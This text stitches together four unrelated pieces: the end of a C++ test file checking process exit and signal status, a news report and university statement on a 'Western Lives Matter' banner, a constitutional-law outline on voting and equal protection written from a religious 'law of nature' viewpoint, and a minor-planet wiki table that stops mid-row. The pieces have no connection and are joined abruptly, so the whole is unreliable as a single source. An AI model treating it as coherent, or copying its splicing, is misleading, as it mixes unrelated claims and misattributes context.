const status exit_failure = fork_and_wait(child_exit< EXIT_FAILURE >);
ATF_REQUIRE(exit_failure.exited());
ATF_REQUIRE_EQ(EXIT_FAILURE, exit_failure.exitstatus());
ATF_REQUIRE(!exit_failure.signaled());
}
ATF_TEST_CASE_WITHOUT_HEAD(integration__signaled);
ATF_TEST_CASE_BODY(integration__signaled)
{
const status sigterm = fork_and_wait(child_signal< SIGTERM >);
ATF_REQUIRE(!sigterm.exited());
ATF_REQUIRE(sigterm.signaled());
ATF_REQUIRE_EQ(SIGTERM, sigterm.termsig());
ATF_REQUIRE(!sigterm.coredump());
const status sigkill = fork_and_wait(child_signal< SIGKILL >);
ATF_REQUIRE(!sigkill.exited());
ATF_REQUIRE(sigkill.signaled());
ATF_REQUIRE_EQ(SIGKILL, sigkill.termsig());
ATF_REQUIRE(!sigkill.coredump());
}
ATF_TEST_CASE_WITHOUT_HEAD(integration__coredump);
ATF_TEST_CASE_BODY(integration__coredump)
{
utils::prepare_coredump_test(this);
const status coredump = fork_and_wait(child_signal< SIGQUIT >);
ATF_REQUIRE(!coredump.exited());
ATF_REQUIRE(coredump.signaled());
ATF_REQUIRE_EQ(SIGQUIT, coredump.termsig());
#if !defined(WCOREDUMP)
expect_fail("Platform does not support checking for coredump");
#endif
ATF_REQUIRE(coredump.coredump());
}
ATF_INIT_TEST_CASES(tcs)
{
ATF_ADD_TEST_CASE(tcs, fake_exited);
ATF_ADD_TEST_CASE(tcs, fake_signaled);
ATF_ADD_TEST_CASE(tcs, output__exitstatus);
ATF_ADD_TEST_CASE(tcs, output__signaled_without_core);
ATF_ADD_TEST_CASE(tcs, output__signaled_with_core);
ATF_ADD_TEST_CASE(tcs, integration__exited);
ATF_ADD_TEST_CASE(tcs, integration__signaled);
ATF_ADD_TEST_CASE(tcs, integration__coredump);
}
|
Western University has come out swinging against what it calls a “repugnant” misuse of the Black Lives Matter slogan that was shared online over the weekend, when defiant students held a homecoming bash.
In a statement Tuesday, a school executive said Western was made aware “of a number of images, symbols and slogans that were shared by Western community members through social media over the past weekend.”
Specifically cited were “images of a banner with the slogan ‘Western Lives Matter,’” with school vice-president Jana Luker saying it “has produced outrage and backlash within our community.”
The image showed four Western-shirted young men posing in front of a sheet-like sign, with Western Lives Matter written across it in the school’s trademark purple colour.
Black Lives Matter is an international movement against violence and racism toward black people, one that has especially been fueled by recent police shootings of African-Americans in the United States.
“‘Black Lives Matter’ is an important human rights movement and a powerful response to systemic racism that permeates our society,” Luker, vice-president for student experience, said in the statement. “Co-opting the ‘Lives Matter’ phrase in this way is repugnant and trivializes the validity of this international cause and network.”
The school is investigating whether those involved violated its student code of conduct, Luker wrote.
Thousands of Western students held an unsanctioned homecoming celebration over the weekend, after the school rescheduled the event to three weeks later in a bid to nix unruly and booze-fueled behaviour.
In a video posted to Facebook, the head of Western’s undergraduate student government, Eddy Avila, said he could not let the offending banner go unrecognized.
“Equating the student upheaval (stemming from) the Homecoming date change to the Black Live Matter movement — which represents years of pain, oppression and violence — is the epitome of ignorance and privilege. And it essentially belittles their entire movement. We have to be aware that some people’s lives depend on protest, that some are fighting for some very basic human right. We have to be aware of the social and historical context of struggle,” Avila said.
“Never be afraid to stand up for what you believe in,” he added, but cautioned students to “use your voice wisely.” He said the banner affected how Western students are viewed.
London has come under a harsh national spotlight recently for behaviour with racial overtones, including when the N-word was hurled on a public street at a black actor playing in a stage production about American civil rights leader Martin Luther King Jr., and again when a Muslim woman was spat upon in a supermarket and an attempt made to pull off the hijab covering her head.
danbrown@postmedia.com
--- --- ---
FOR IMMEDIATE RELEASE
WESTERN UNIVERSITY
OCTOBER 4, 2016
Statement on racist signage in community
Western University has been made aware of a number of images, symbols and slogans that were shared by Western community members through social media over the past weekend.
Specifically images of a banner with the slogan ‘Western Lives Matter’ has produced outrage and backlash within our community. ‘Black Lives Matter’ is an important human rights movement and a powerful response to systemic racism that permeates our society. Co-opting the ‘Lives Matter’ phrase in this way is repugnant and trivializes the validity of this international cause and network.
Western does not tolerate racism. Western University considers the ‘Western Lives Matter’ banner to be contrary to the university’s values. In conjunction with Campus Community Police Service (CCPS) and London Police Service (LPS), Western is investigating this matter to determine whether individuals involved will be dealt with under Western’s Code of Student Conduct.
Senior administration wants to assure the entire Western community that these types of transgressions are hurtful, disrespectful and demeaning. They do, however, provide an opportunity for further conversations with campus leaders and community partners.
Western’s administration, along with the University Students’ Council (USC), Society of Graduate Students (SOGS) and Western’s Equity and Human Rights Services, will work collaboratively with campus and community individuals and groups to create opportunities to examine issues of racism on campus and to further engage in conversation and learning in a productive manner.
As a start, I’d like to acknowledge the video released by USC President Eddy Avila in response to the images from the weekend that included racist sentiments. Western is supportive of his message and looks forward to work in partnership with students to clarify and promote a more positive community environment.
Jana Luker?
Associate Vice-President (Student Experience)?
Western University |
Equality & Equal Protection Outlines
Equal Protection V – Voting and Travel
a. Voting is a civil (man-created) right, not an inalienable (God-given) right.
b. Voting laws must be neutral as to race, wealth, political viewpoint, etc.
c. However, there is no lonang principle which requires “one person, one vote.” Why can’t a nation choose to have “one household – one vote,” or “one family – one vote”? See, U.S. Const. Art. I, § 2, Cl. 3.
2. Modern view, generally.
a. Voting is a fundamental right, any partiality with respect to which is subject to a strict scrutiny analysis.
b. Voting rights may be restricted on the basis of age (under 18) and citizenship.
B. Voter Qualifications (Restrictions on Right to Vote).
1. Principles.
a. Residency Requirements. Reasonable time periods for residency (e.g., 30 days) are valid. Congress may override state residency requirements in presidential elections and substitute its own.
b. Property Ownership. Conditioning the right to vote or hold office on ownership of property is usually invalid. Exception: Special purpose elections (e.g., water storage districts).
c. Poll Taxes. All poll taxes are per se unconstitutional.
2. Harper v. Virginia State Bd. of Elections. Court strikes down state law requiring payment of a poll-tax as a condition of exercising state voting franchise.
a. Court extends rationale of 24th amend. to state context, using the 14th amend. as its legal basis. Judicial activism?
b. Is the right to vote as important as the Court claims? Does it preserve other basic civil rights? Do the Court’s opinions reflect voter preference? If not, does the Court protect or subvert basic rights? If so, is the Court any less political than the other government branches?
b. The determination of legislative districts is a matter of political discretion, not a legal obligation reviewable by the courts. “Political question” doctrine.
c. Political representation is a legal, not a factual, relationship. The representative must be duly chosen by the people according to law; he does not solely represent the people who are like him factually.
2. One Person, One Vote Principle.
a. “One person, one vote” applies to any government official chosen by popular election from individual districts.
b. Congressional Elections. Almost exact mathematical equality is required between congressional districts within a state.
c. State and Local Elections. For state and local elections, the variance in the number of persons included within districts must not vary by more than a few percentage points.
d. Exception – The apportionment requirement is inapplicable to officials either elected at large or appointed.
e. Exception – The one person, one vote principle does not apply to elections for officials who do not exercise normal governmental authority but rather deal with matters of special interest in the community (e.g., water storage districts).
f. Gerrymandering. Districting plans that intentionally disadvantage an identifiable racial or political group are invalid.
3. Reynolds v. Sims. Court invalidates state redistricting plan which gave equal representation in state legislature to districts of widely varying population size.
a. Troublesome issues (glossed over):
(1) Political (nonjusticiable) questions.
(2) Our nation as a democracy.
(3) Rejection of “one household, one vote.”
b. Federalism concerns:
(1) Constitution left districting to state legislatures (that’s what makes it a political matter).
(2) States precluded from bicameral system based on “one state senator per county” because of unique historical circumstances – but is this a legal difference?
(3) Geography precluded as basis for districting.
c. Interpretational concerns:
(1) No express constitutional guarantee supports Court’s opinion.
(2) Warren’s argument makes logical sense according to law of nature, but does that make the matter a federal constitutional issue?
(3) Congress had not acted to enforce 14th amend. via §5.
(4) Court stepped in where Congress had not yet tread – judicial activism.
4. Karcher v. Daggett. Court overturns state districting plan in which population deviations were small, but “not the result of a good faith effort to achieve population equality.”
a. Republicans did not like the way redistricting had occurred. Result: political infighting in the form of a lawsuit. Democratic view becomes the “state’s interest.” Is this political or what?
b. Brennan: Mathematical equality.
(1) Factual equality assumed: Equality = mathematical equality. Whose plan was better? The one in which population variances were the least.
(2) What result if there had not been a competing plan in which the population variances were even smaller?
d. White: Mathematical exactitude will promote lawsuits. He favors a de minimus rule.
5. Davis v. Bandemer. S.Ct. upholds state apportionment law in face of the claim it discriminated against Democrats.
a. Political question.
(1) Court’s standard: state legislature is not co-equal with S.Ct. What does this assume?
(2) Historic standard: Is the matter within the discretion of one of the political (legislative or executive) branches.
(3) Isn’t this a matter of state law (to determine what is, and what isn’t, within state legislative discretion)?
(4) What is a “judicially manageable standard,” except matters of law, not discretion, policies, or facts and circumstances?
b. The nature of representation.
(1) What implicit assumptions are made as to who is “represented”? If black and white voters choose a white Congressman, does the Court see black voters as able to present a justiciable issue as to whether they are represented? If Democratic citizens live in a district having a Republican Senator, can’t they at least claim they aren’t represented? What does that do for jurisprudence?
(2) What does it mean to be a representative? Does a representative have to bear factual resemblance to the people he/she represents? See 945-46.
(3) If a representative ignores the pleas of a segment of the constituency, does that fact leave the population segment unrepresented? Does representation = political influence?
II. Right to Travel.
A. Generally.
1. Law of nature.
a. The right to travel between states is constitutionally guaranteed, but this has nothing to do with the validity of state residency requirements for the exercise of civil (man-made) rights.
b. A nation may bar aliens from entry into that nation
c. There is no right to enter a foreign nation based on the Great Commission. That is, the authority to evangelize and make religious disciples does not trump laws to protect national borders.
2. Modern view.
a. An individual has a fundamental right to migrate from state to state, but not every restriction on the right to cross state lines is an impairment of the right to travel.
b. The dispensing of state benefits based on length of residency tends to be reviewed on a strict level of scrutiny.
c. International travel is not a fundamental right. It will, however, be protected from arbitrary federal interference by the fifth amendment Due Process Clause; the rational basis standard applies.
(2) None of the statutory purposes proffered by the state rationally relate to the achievement of a valid state objective.
(3) The statute fails under even the rational basis test (leaving open the question whether a stricter scrutiny may be applicable).
b. Residency (law of nature).
(1) State law can validly define residency for purpose of eliminating fraudulent claims resident status.
(2) But, the determination of residency is a legal matter, thus, once determined to exist, is an all-or-nothing proposition. The factual length of residency is irrelevant for legal purposes.
(3) Could rate of taxation depend upon taxpayer’s length of residency? No. Such a legal distinction would be a respecter of persons. Residency is not an action which people do, but a legal status of who people are.
c. O’Connor (concurring):
(1) The right to travel (per privileges and immunities clause) is at issue, not equal protection.
(2) But, does this state law discriminate against non-residents?
(3) Is the statutory plan a “disability of alienage,” as O’Connor says? How is alienage different from residency?
III. Misc. Classifications.
A. Legitimacy Classifications.
1. Common law. Illegitimate children are presumed not to inherit from their fathers (but may inherit from their mothers). Inheritance follows the legal, not biological, relation.
a. What about Jesus’ inheritance rights in view of Matt. 1:2-3; Gen. 38:24-30?
2. Modern rule.
a. Illegitimacy is a quasi-suspect classification which is subject to an intermediate, not a strict, level of scrutiny. That is, illegitimacy classifications must be substantially related to an important government interest.
b. Discriminatory regulations intended to punish or disinherit illegitimate children are invalid, but may require illegitimates to prove parenthood to receive legal benefits.
3. Lalli v. Lalli. Court upholds state law requiring illegitimate children to provide proof of paternity before they can inherit from their fathers by intestate succession.
a. What purposes of the statute are controlling?
b. State interest in orderly disposition of estates is preeminent.
c. Why does the Court eschew “family order” purpose?
(1) Avoidance of moral issue: right v. wrong human conduct.
(2) Subordinates family rights to civil interests.
4. Should legitimate / illegitimate children be treated differently at law?
B. Retardation.
1. Generally.
a. Law of nature. “Retardation” is not a term capable of legal definition. Thus, legal distinctions based on retardation are prohibited as a form of “respecter of persons” based on who a person is, not on what they do.
b. Modern view. Retardation classifications are subject to the rational basis standard.
2. City of Cleburne v. Cleburne Living Center. S.Ct. overturns the denial of a special use permit for a group home for the mentally retarded as applied under a municipal ordinance.
a. Level of scrutiny: rationally related to a legitimate state interest.
(1) The ordinance was not declared facially invalid.
b. The City’s action was based “on an irrational prejudice against the mentally retarded.”
(1) Law of nature: Is there any basis for discriminating against the mentally retarded?
(2) No. A classic “respecting of persons” based on who someone is, not what they do.
(3) Who can say what retardation is, objectively? Is retardation something which is capable of a legal definition? |
List of minor planets: 231001–232000
231001–231100
|-bgcolor=#d6d6d6
| 231001 || || — || March 1, 2005 || Kitt Peak || Spacewatch || — || align=right | 5.3 km ||
|-id=002 bgcolor=#d6d6d6
| 231002 || || — || March 2, 2005 || Kitt Peak || Spacewatch || — || align=right | 4.4 km ||
|-id=003 bgcolor=#d6d6d6
| 231003 || || — || March 3, 2005 || Kitt Peak || Spacewatch || — || align=right | 3.7 km ||
|-id=004 bgcolor=#d6d6d6
| 231004 || || — || March 3, 2005 || Catalina || CSS || — || align=right | 7.0 km ||
|-id=005 bgcolor=#d6d6d6
| 231005 || || — || March 3, 2005 || Catalina || CSS || — || align=right | 3.7 km ||
|-id=006 bgcolor=#d6d6d6
| 231006 || || — || March 3, 2005 || Catalina || CSS || — || align=right | 5.0 km ||
|-id=007 bgcolor=#d6d6d6
| 231007 || || — || March 4, 2005 || Catalina || CSS || — || align=right | 2.5 km ||
|-id=008 bgcolor=#d6d6d6
| 231008 || || — || March 4, 2005 || Catalina || CSS || — || align=right | 3.5 km ||
|-id=009 bgcolor=#d6d6d6
| 231009 || || — || March 1, 2005 || Kitt Peak || Spacewatch || THM || align=right | 4.7 km ||
|-id=010 bgcolor=#d6d6d6
| 231010 || || — || March 1, 2005 || Kitt Peak || Spacewatch || — || align=right | 4.2 km ||
|-id=011 bgcolor=#d6d6d6
| 231011 || || — || March 3, 2005 || Kitt Peak || Spacewatch || — || align=right | 2.6 km ||
|-id=012 bgcolor=#fefefe
| 231012 || || — || March 4, 2005 || Catalina || CSS || — || align=right | 1.4 km ||
|-id=013 bgcolor=#d6d6d6
| 231013 || || — || March 4, 2005 || Socorro || LINEAR || THM || align=right | 2.9 km ||
|-id=014 bgcolor=#d6d6d6
| 231014 || || — || March 7, 2005 || Socorro || LINEAR || — || align=right | 6.3 km ||
|-id=015 bgcolor=#d6d6d6
| 231015 || || — || March 2, 2005 || Catalina || CSS || — || align=right | 5.1 km ||
|-id=016 bgcolor=#d6d6d6
| 231016 || || — || March 2, 2005 || Catalina || CSS || EOS || align=right | 3.2 km ||
|-id=017 bgcolor=#d6d6d6
| 231017 || || — || March 3, 2005 || Catalina || CSS || LIX || align=right | 5.4 km ||
|-id=018 bgcolor=#d6d6d6
| 231018 || || — || March 4, 2005 || Socorro || LINEAR || EOS || align=right | 3.3 km ||
|-id=019 bgcolor=#d6d6d6
| 231019 || || — || March 4, 2005 || Socorro || LINEAR || — || align=right | 6.0 km ||
|-id=020 bgcolor=#d6d6d6
| 231020 || || — || March 3, 2005 || Catalina || CSS || VER || align=right | 3.6 km ||
|-id=021 bgcolor=#d6d6d6
| 231021 || || — || March 3, 2005 || Catalina || CSS || — || align=right | 3.9 km ||
|-id=022 bgcolor=#d6d6d6
| 231022 || || — || March 9, 2005 || Anderson Mesa || LONEOS || HYG || align=right | 4.7 km ||
|-id=023 bgcolor=#d6d6d6
| 231023 || || — || March 9, 2005 || Socorro || LINEAR || — || align=right | 4.8 km ||
|-id=024 bgcolor=#d6d6d6
| 231024 || || — || March 10, 2005 || Kitt Peak || Spacewatch || — || align=right | 7.0 km ||
|-id=025 bgcolor=#d6d6d6
| 231025 || || — || March 10, 2005 || Kitt Peak || Spacewatch || THM || align=right | 3.1 km ||
|-id=026 bgcolor=#d6d6d6
| 231026 || || — || March 11, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 4.4 km ||
|-id=027 bgcolor=#d6d6d6
| 231027 || || — || March 11, 2005 || Anderson Mesa || LONEOS || — || align=right | 4.5 km ||
|-id=028 bgcolor=#d6d6d6
| 231028 || || — || March 8, 2005 || Anderson Mesa || LONEOS || — || align=right | 5.3 km ||
|-id=029 bgcolor=#d6d6d6
| 231029 || || — || March 12, 2005 || Socorro || LINEAR || EUP || align=right | 5.8 km ||
|-id=030 bgcolor=#d6d6d6
| 231030 || || — || March 12, 2005 || Kitt Peak || Spacewatch || THM || align=right | 3.7 km ||
|-id=031 bgcolor=#d6d6d6
| 231031 || || — || March 9, 2005 || Catalina || CSS || — || align=right | 5.1 km ||
|-id=032 bgcolor=#d6d6d6
| 231032 || || — || March 9, 2005 || Catalina || CSS || EOS || align=right | 3.7 km ||
|-id=033 bgcolor=#d6d6d6
| 231033 || || — || March 11, 2005 || Kitt Peak || Spacewatch || THM || align=right | 3.5 km ||
|-id=034 bgcolor=#d6d6d6
| 231034 || || — || March 10, 2005 || Siding Spring || SSS || — || align=right | 6.2 km ||
|-id=035 bgcolor=#d6d6d6
| 231035 || || — || March 11, 2005 || Mount Lemmon || Mount Lemmon Survey || HYG || align=right | 3.3 km ||
|-id=036 bgcolor=#d6d6d6
| 231036 || || — || March 13, 2005 || Kitt Peak || Spacewatch || HYG || align=right | 3.3 km ||
|-id=037 bgcolor=#d6d6d6
| 231037 || || — || March 8, 2005 || Kitt Peak || Spacewatch || HYG || align=right | 3.8 km ||
|-id=038 bgcolor=#d6d6d6
| 231038 || || — || March 9, 2005 || Socorro || LINEAR || TIR || align=right | 4.0 km ||
|-id=039 bgcolor=#d6d6d6
| 231039 || || — || March 10, 2005 || Catalina || CSS || — || align=right | 3.2 km ||
|-id=040 bgcolor=#d6d6d6
| 231040 Kakaras || || || March 10, 2005 || Moletai || K. Černis, J. Zdanavičius || — || align=right | 6.0 km ||
|-id=041 bgcolor=#d6d6d6
| 231041 || || — || March 10, 2005 || Catalina || CSS || — || align=right | 4.8 km ||
|-id=042 bgcolor=#d6d6d6
| 231042 || || — || March 9, 2005 || Kitt Peak || M. W. Buie || CHA || align=right | 3.0 km ||
|-id=043 bgcolor=#d6d6d6
| 231043 || || — || March 30, 2005 || Catalina || CSS || — || align=right | 3.7 km ||
|-id=044 bgcolor=#d6d6d6
| 231044 || || — || April 1, 2005 || Catalina || CSS || — || align=right | 4.9 km ||
|-id=045 bgcolor=#d6d6d6
| 231045 || || — || April 1, 2005 || Kitt Peak || Spacewatch || HYG || align=right | 5.4 km ||
|-id=046 bgcolor=#d6d6d6
| 231046 || || — || April 4, 2005 || Catalina || CSS || HYG || align=right | 4.4 km ||
|-id=047 bgcolor=#d6d6d6
| 231047 || || — || April 4, 2005 || Catalina || CSS || — || align=right | 3.8 km ||
|-id=048 bgcolor=#d6d6d6
| 231048 || || — || April 1, 2005 || Anderson Mesa || LONEOS || — || align=right | 2.8 km ||
|-id=049 bgcolor=#d6d6d6
| 231049 || || — || April 5, 2005 || Palomar || NEAT || — || align=right | 5.9 km ||
|-id=050 bgcolor=#d6d6d6
| 231050 || || — || April 5, 2005 || Mount Lemmon || Mount Lemmon Survey || HYG || align=right | 3.5 km ||
|-id=051 bgcolor=#d6d6d6
| 231051 || || — || April 8, 2005 || Lulin Observatory || Lulin Obs. || — || align=right | 5.2 km ||
|-id=052 bgcolor=#d6d6d6
| 231052 || || — || April 2, 2005 || Catalina || CSS || URS || align=right | 5.5 km ||
|-id=053 bgcolor=#fefefe
| 231053 || || — || April 11, 2005 || Kitt Peak || Spacewatch || H || align=right data-sort-value="0.85" | 850 m ||
|-id=054 bgcolor=#d6d6d6
| 231054 || || — || April 5, 2005 || Palomar || NEAT || — || align=right | 5.7 km ||
|-id=055 bgcolor=#d6d6d6
| 231055 || || — || April 9, 2005 || Kitt Peak || Spacewatch || — || align=right | 4.7 km ||
|-id=056 bgcolor=#fefefe
| 231056 || || — || May 3, 2005 || Kitt Peak || DLS || H || align=right data-sort-value="0.89" | 890 m ||
|-id=057 bgcolor=#E9E9E9
| 231057 || || — || May 12, 2005 || Catalina || CSS || — || align=right | 3.0 km ||
|-id=058 bgcolor=#d6d6d6
| 231058 || || — || June 10, 2005 || Kitt Peak || Spacewatch || — || align=right | 3.1 km ||
|-id=059 bgcolor=#fefefe
| 231059 || || — || July 5, 2005 || Junk Bond || D. Healy || V || align=right data-sort-value="0.89" | 890 m ||
|-id=060 bgcolor=#fefefe
| 231060 || || — || July 5, 2005 || Mount Lemmon || Mount Lemmon Survey || MAS || align=right data-sort-value="0.71" | 710 m ||
|-id=061 bgcolor=#fefefe
| 231061 || || — || July 2, 2005 || Catalina || CSS || — || align=right | 1.1 km ||
|-id=062 bgcolor=#fefefe
| 231062 || || — || July 28, 2005 || Palomar || NEAT || V || align=right data-sort-value="0.98" | 980 m ||
|-id=063 bgcolor=#fefefe
| 231063 || || — || July 31, 2005 || Palomar || NEAT || — || align=right data-sort-value="0.98" | 980 m ||
|-id=064 bgcolor=#fefefe
| 231064 || || — || July 31, 2005 || Palomar || NEAT || NYS || align=right data-sort-value="0.96" | 960 m ||
|-id=065 bgcolor=#fefefe
| 231065 || || — || July 30, 2005 || Palomar || NEAT || FLO || align=right | 1.0 km ||
|-id=066 bgcolor=#fefefe
| 231066 || || — || July 31, 2005 || Palomar || NEAT || — || align=right | 1.4 km ||
|-id=067 bgcolor=#fefefe
| 231067 || || — || August 1, 2005 || Siding Spring || SSS || V || align=right data-sort-value="0.82" | 820 m ||
|-id=068 bgcolor=#fefefe
| 231068 || || — || August 4, 2005 || Palomar || NEAT || — || align=right data-sort-value="0.98" | 980 m ||
|-id=069 bgcolor=#fefefe
| 231069 || || — || August 25, 2005 || Palomar || NEAT || FLO || align=right | 1.1 km ||
|-id=070 bgcolor=#fefefe
| 231070 || || — || August 25, 2005 || Campo Imperatore || CINEOS || FLO || align=right data-sort-value="0.80" | 800 m ||
|-id=071 bgcolor=#fefefe
| 231071 || || — || August 27, 2005 || Kitt Peak || Spacewatch || NYS || align=right | 1.0 km ||
|-id=072 bgcolor=#fefefe
| 231072 || || — || August 27, 2005 || Anderson Mesa || LONEOS || NYS || align=right | 1.0 km ||
|-id=073 bgcolor=#fefefe
| 231073 || || — || August 25, 2005 || Palomar || NEAT || FLO || align=right | 1.0 km ||
|-id=074 bgcolor=#fefefe
| 231074 || || — || August 26, 2005 || Haleakala || NEAT || V || align=right | 1.3 km ||
|-id=075 bgcolor=#fefefe
| 231075 || || — || August 26, 2005 || Palomar || NEAT || FLO || align=right | 1.1 km ||
|-id=076 bgcolor=#fefefe
| 231076 || || — || August 26, 2005 || Palomar || NEAT || — || align=right | 1.5 km ||
|-id=077 bgcolor=#fefefe
| 231077 || || — || August 26, 2005 || Palomar || NEAT || — || align=right | 1.3 km ||
|-id=078 bgcolor=#fefefe
| 231078 || || — || August 27, 2005 || Anderson Mesa || LONEOS || — || align=right | 1.4 km ||
|-id=079 bgcolor=#fefefe
| 231079 || || — || August 29, 2005 || Socorro || LINEAR || — || align=right | 1.1 km ||
|-id=080 bgcolor=#fefefe
| 231080 || || — || August 28, 2005 || Anderson Mesa || LONEOS || — || align=right | 1.1 km ||
|-id=081 bgcolor=#fefefe
| 231081 || || — || August 29, 2005 || Anderson Mesa || LONEOS || — || align=right data-sort-value="0.98" | 980 m ||
|-id=082 bgcolor=#fefefe
| 231082 || || — || August 27, 2005 || Palomar || NEAT || — || align=right | 1.2 km ||
|-id=083 bgcolor=#fefefe
| 231083 || || — || August 27, 2005 || Palomar || NEAT || NYS || align=right data-sort-value="0.96" | 960 m ||
|-id=084 bgcolor=#E9E9E9
| 231084 || || — || August 31, 2005 || Palomar || NEAT || — || align=right | 2.1 km ||
|-id=085 bgcolor=#fefefe
| 231085 || || — || August 29, 2005 || Palomar || NEAT || — || align=right | 1.4 km ||
|-id=086 bgcolor=#fefefe
| 231086 || || — || August 31, 2005 || Palomar || NEAT || V || align=right | 1.1 km ||
|-id=087 bgcolor=#fefefe
| 231087 || || — || August 28, 2005 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.78" | 780 m ||
|-id=088 bgcolor=#fefefe
| 231088 || || — || September 8, 2005 || Socorro || LINEAR || — || align=right data-sort-value="0.90" | 900 m ||
|-id=089 bgcolor=#fefefe
| 231089 || || — || September 10, 2005 || Anderson Mesa || LONEOS || — || align=right | 1.1 km ||
|-id=090 bgcolor=#fefefe
| 231090 || || — || September 10, 2005 || Anderson Mesa || LONEOS || FLO || align=right | 1.2 km ||
|-id=091 bgcolor=#fefefe
| 231091 || || — || September 1, 2005 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.78" | 780 m ||
|-id=092 bgcolor=#fefefe
| 231092 || || — || September 12, 2005 || Haleakala || NEAT || FLO || align=right | 1.0 km ||
|-id=093 bgcolor=#fefefe
| 231093 || || — || September 12, 2005 || Haleakala || NEAT || — || align=right | 1.3 km ||
|-id=094 bgcolor=#fefefe
| 231094 || || — || September 26, 2005 || Catalina || CSS || FLO || align=right | 1.2 km ||
|-id=095 bgcolor=#fefefe
| 231095 || || — || September 23, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.2 km ||
|-id=096 bgcolor=#fefefe
| 231096 || || — || September 23, 2005 || Catalina || CSS || — || align=right | 1.2 km ||
|-id=097 bgcolor=#fefefe
| 231097 || || — || September 25, 2005 || Catalina || CSS || — || align=right | 1.1 km ||
|-id=098 bgcolor=#fefefe
| 231098 || || — || September 23, 2005 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.86" | 860 m ||
|-id=099 bgcolor=#fefefe
| 231099 || || — || September 23, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.3 km ||
|-id=100 bgcolor=#fefefe
| 231100 || || — || September 24, 2005 || Kitt Peak || Spacewatch || EUT || align=right data-sort-value="0.79" | 790 m ||
|}
231101–231200
|-bgcolor=#E9E9E9
| 231101 || || — || September 24, 2005 || Kitt Peak || Spacewatch || — || align=right | 2.3 km ||
|-id=102 bgcolor=#fefefe
| 231102 || || — || September 27, 2005 || Palomar || NEAT || — || align=right | 1.0 km ||
|-id=103 bgcolor=#fefefe
| 231103 || || — || September 28, 2005 || Socorro || LINEAR || — || align=right data-sort-value="0.98" | 980 m ||
|-id=104 bgcolor=#fefefe
| 231104 || || — || September 25, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.4 km ||
|-id=105 bgcolor=#fefefe
| 231105 || || — || September 25, 2005 || Kitt Peak || Spacewatch || V || align=right | 1.1 km ||
|-id=106 bgcolor=#fefefe
| 231106 || || — || September 28, 2005 || Palomar || NEAT || NYS || align=right data-sort-value="0.76" | 760 m ||
|-id=107 bgcolor=#fefefe
| 231107 || || — || September 28, 2005 || Palomar || NEAT || FLO || align=right | 1.0 km ||
|-id=108 bgcolor=#fefefe
| 231108 || || — || September 29, 2005 || Kitt Peak || Spacewatch || V || align=right data-sort-value="0.94" | 940 m ||
|-id=109 bgcolor=#fefefe
| 231109 || || — || September 29, 2005 || Mount Lemmon || Mount Lemmon Survey || NYS || align=right data-sort-value="0.96" | 960 m ||
|-id=110 bgcolor=#fefefe
| 231110 || || — || September 29, 2005 || Kitt Peak || Spacewatch || MAS || align=right data-sort-value="0.82" | 820 m ||
|-id=111 bgcolor=#fefefe
| 231111 || || — || September 25, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.2 km ||
|-id=112 bgcolor=#fefefe
| 231112 || || — || September 25, 2005 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.86" | 860 m ||
|-id=113 bgcolor=#fefefe
| 231113 || || — || September 25, 2005 || Kitt Peak || Spacewatch || V || align=right | 1.1 km ||
|-id=114 bgcolor=#fefefe
| 231114 || || — || September 26, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.6 km ||
|-id=115 bgcolor=#fefefe
| 231115 || || — || September 27, 2005 || Kitt Peak || Spacewatch || NYS || align=right data-sort-value="0.87" | 870 m ||
|-id=116 bgcolor=#fefefe
| 231116 || || — || September 27, 2005 || Palomar || NEAT || V || align=right | 1.1 km ||
|-id=117 bgcolor=#fefefe
| 231117 || || — || September 29, 2005 || Anderson Mesa || LONEOS || FLO || align=right | 1.1 km ||
|-id=118 bgcolor=#fefefe
| 231118 || || — || September 29, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.1 km ||
|-id=119 bgcolor=#fefefe
| 231119 || || — || September 29, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.4 km ||
|-id=120 bgcolor=#E9E9E9
| 231120 || || — || September 30, 2005 || Palomar || NEAT || MAR || align=right | 1.2 km ||
|-id=121 bgcolor=#fefefe
| 231121 || || — || September 30, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.8 km ||
|-id=122 bgcolor=#fefefe
| 231122 || || — || September 30, 2005 || Catalina || CSS || — || align=right | 3.7 km ||
|-id=123 bgcolor=#fefefe
| 231123 || || — || September 30, 2005 || Palomar || NEAT || MAS || align=right | 1.0 km ||
|-id=124 bgcolor=#fefefe
| 231124 || || — || September 30, 2005 || Mount Lemmon || Mount Lemmon Survey || MAS || align=right data-sort-value="0.94" | 940 m ||
|-id=125 bgcolor=#fefefe
| 231125 || || — || September 30, 2005 || Mount Lemmon || Mount Lemmon Survey || NYS || align=right data-sort-value="0.87" | 870 m ||
|-id=126 bgcolor=#fefefe
| 231126 || || — || September 29, 2005 || Kitt Peak || Spacewatch || — || align=right data-sort-value="0.98" | 980 m ||
|-id=127 bgcolor=#fefefe
| 231127 || || — || September 30, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right data-sort-value="0.86" | 860 m ||
|-id=128 bgcolor=#fefefe
| 231128 || || — || September 24, 2005 || Palomar || NEAT || — || align=right | 1.1 km ||
|-id=129 bgcolor=#fefefe
| 231129 || || — || September 25, 2005 || Catalina || CSS || — || align=right | 1.1 km ||
|-id=130 bgcolor=#fefefe
| 231130 || || — || September 24, 2005 || Kitt Peak || Spacewatch || — || align=right | 2.3 km ||
|-id=131 bgcolor=#fefefe
| 231131 || || — || September 24, 2005 || Kitt Peak || Spacewatch || — || align=right | 1.1 km ||
|-id=132 bgcolor=#fefefe
| 231132 || || — || October 1, 2005 || Goodricke-Pigott || R. A. Tucker || — || align=right | 1.1 km ||
|-id=133 bgcolor=#fefefe
| 231133 || || — || October 1, 2005 || Mount Lemmon || Mount Lemmon Survey || — || align=right | 1.6 km ||
|-id=134 bgcolor=#FFC2E0
| 231134 || || — || October 5, 2005 || Mauna Kea || D. J. Tholen || APO || align=right | 1.1 km ||
|-id=135 bgcolor=#fefefe
